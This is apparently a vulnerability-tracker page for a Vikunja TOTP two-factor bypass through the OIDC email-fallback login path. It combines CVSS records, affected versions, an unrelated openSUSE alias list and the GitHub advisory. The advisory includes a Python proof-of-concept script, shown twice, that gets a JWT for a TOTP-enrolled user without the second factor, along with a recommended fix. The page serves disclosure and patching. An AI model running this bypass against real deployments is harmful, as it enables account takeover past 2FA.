CVE-2026-34727

Vikunja ahs a TOTP Two-Factor Authentication Bypass via OIDC Login Path

7.4 HighFix available

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: High
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: High
Availability: None

Exploit likelihood

0.29%Up 0.3 points since Apr 11, 2026

What each source reports

CVE List Score used 7.4

Vikunja ahs a TOTP Two-Factor Authentication Bypass via OIDC Login Path

Record: CVE-2026-34727
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness: CWE-287
Updated: 2026-11-02

EUVDEUVD-2026-21414 7.4

Record: EUVD-2026-21414
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-8jvc-mcx6-r4cg 7.4

Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path

Summary

The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

return auth.NewUserAuthTokenResponse(u, c, false)

There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:

totpEnabled, err := user2.TOTPEnabledForUser(s, user)
if totpEnabled {
    if u.TOTPPasscode == "" {
        _ = s.Rollback()
        return user2.ErrInvalidTOTPPasscode{}
    }
    _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{
        User:     user,
        Passcode: u.TOTPPasscode,
    })

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup:

Vikunja configured with emailfallback: true for Dex
Local user alice (id=1) has TOTP enabled

import requests, re, html
from urllib.parse import parse_qs, urlparse

TARGET = "http://localhost:3456"
DEX = "http://localhost:5556"
API = f"{TARGET}/api/v1"

# verify TOTP is required for local login
r = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"})
print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}")
# Output: 412 code=1017 (TOTP required)

# login via OIDC (same flow as VIK-020 PoC)
s = requests.Session()
r = s.get(f"{DEX}/dex/auth?client_id=vikunja"
          f"&redirect_uri={TARGET}/auth/openid/dex"
          f"&response_type=code&scope=openid+profile+email&state=x")
action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))
if not action.startswith("http"): action = DEX + action
r = s.post(action, data={"login": "[email protected]", "password": "password"},
           allow_redirects=False)
approval_url = DEX + r.headers["Location"]
r = s.get(approval_url)
req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)
r = s.post(approval_url, data={"req": req, "approval": "approve"},
           allow_redirects=False)
code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback",
    json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"})
print(f"OIDC login: {resp.status_code}")

user = requests.get(f"{API}/user",
    headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()
print(f"User: id={user['id']} username={user['username']}")
# TOTP was completely bypassed

Output:

Local login without TOTP: 412 code=1017
OIDC login: 200
User: id=1 username=alice

Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.

This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing email_verified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

totpEnabled, err := user.TOTPEnabledForUser(s, u)
if err != nil {
    _ = s.Rollback()
    return err
}
if totpEnabled {
    _ = s.Rollback()
    return echo.NewHTTPError(http.StatusForbidden,
       …

Record: GHSA-8jvc-mcx6-r4cg
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness: CWE-287
Updated: 2026-11-02

NVD 7.4

Record: CVE-2026-34727
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
CVSS 3.1: 9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness: CWE-287
Updated: 2026-11-02

OSV 7.4

Vikunja ahs a TOTP Two-Factor Authentication Bypass via OIDC Login Path

Record: CVE-2026-34727
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness: CWE-287
Updated: 2026-11-02

OSVGHSA-8jvc-mcx6-r4cg 7.4

Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path

Summary

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

return auth.NewUserAuthTokenResponse(u, c, false)

totpEnabled, err := user2.TOTPEnabledForUser(s, user)
if totpEnabled {
    if u.TOTPPasscode == "" {
        _ = s.Rollback()
        return user2.ErrInvalidTOTPPasscode{}
    }
    _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{
        User:     user,
        Passcode: u.TOTPPasscode,
    })

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup:

Vikunja configured with emailfallback: true for Dex
Local user alice (id=1) has TOTP enabled

import requests, re, html
from urllib.parse import parse_qs, urlparse

TARGET = "http://localhost:3456"
DEX = "http://localhost:5556"
API = f"{TARGET}/api/v1"

# verify TOTP is required for local login
r = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"})
print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}")
# Output: 412 code=1017 (TOTP required)

# login via OIDC (same flow as VIK-020 PoC)
s = requests.Session()
r = s.get(f"{DEX}/dex/auth?client_id=vikunja"
          f"&redirect_uri={TARGET}/auth/openid/dex"
          f"&response_type=code&scope=openid+profile+email&state=x")
action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))
if not action.startswith("http"): action = DEX + action
r = s.post(action, data={"login": "[email protected]", "password": "password"},
           allow_redirects=False)
approval_url = DEX + r.headers["Location"]
r = s.get(approval_url)
req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)
r = s.post(approval_url, data={"req": req, "approval": "approve"},
           allow_redirects=False)
code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback",
    json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"})
print(f"OIDC login: {resp.status_code}")

user = requests.get(f"{API}/user",
    headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()
print(f"User: id={user['id']} username={user['username']}")
# TOTP was completely bypassed

Output:

Local login without TOTP: 412 code=1017
OIDC login: 200
User: id=1 username=alice

Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

totpEnabled, err := user.TOTPEnabledForUser(s, u)
if err != nil {
    _ = s.Rollback()
    return err
}
if totpEnabled {
    _ = s.Rollback()
    return echo.NewHTTPError(http.StatusForbidden,
       …

Record: GHSA-8jvc-mcx6-r4cg
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness: CWE-287
Updated: 2026-11-02

OSVGO-2026-5258 No score

Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path in code.vikunja.io/api

Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path in code.vikunja.io/api.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.

Record: GO-2026-5258
Updated: 2026-11-02

OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
GO-2026-5933 GHSA-3g4q-2f67-2gvh
GO-2026-5934 GHSA-59qp-cfj3-rp64
GO-2026-5935 GHSA-7856-g3gv-9wq8
GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
GO-2026-5942 CVE-2026-46600
GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
GO-2026-5969 GHSA-g936-7jqj-mwv8
GO-2026-5970 CVE-2026-56852
GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
GO-2026-5981 GHSA-mqxv-9rm6-w8qc
GO-2026-5982 GHSA-pqg7-v6wh-3pfp
GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
GO-2026-5985 GHSA-7rx3-5wx3-5v76
GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…

Record: openSUSE-SU-2026:21483-1
Updated: 2026-11-02

Affected products

Affected packages

Affected packages
Package	Affected	Fixed
`code.vikunja.io/api` Go	through 2.2.2	2.3.0
`code.vikunja.io/api` Go	before 2.3.0	2.3.0
`code.vikunja.io/api` Go	All versions	None known
`govulncheck-vulndb` openSUSE:Leap 16.0 From an advisory covering 1734 CVEs	before 0.0.20260723T184607-160000.1.1	0.0.20260723T184607-160000.1.1

History

History
Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-34727 is a high vulnerability (CVSS 7.4) in Go-vikunja Vikunja, published April 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. Fixed in code.vikunja.io/api 2.3.0.

References

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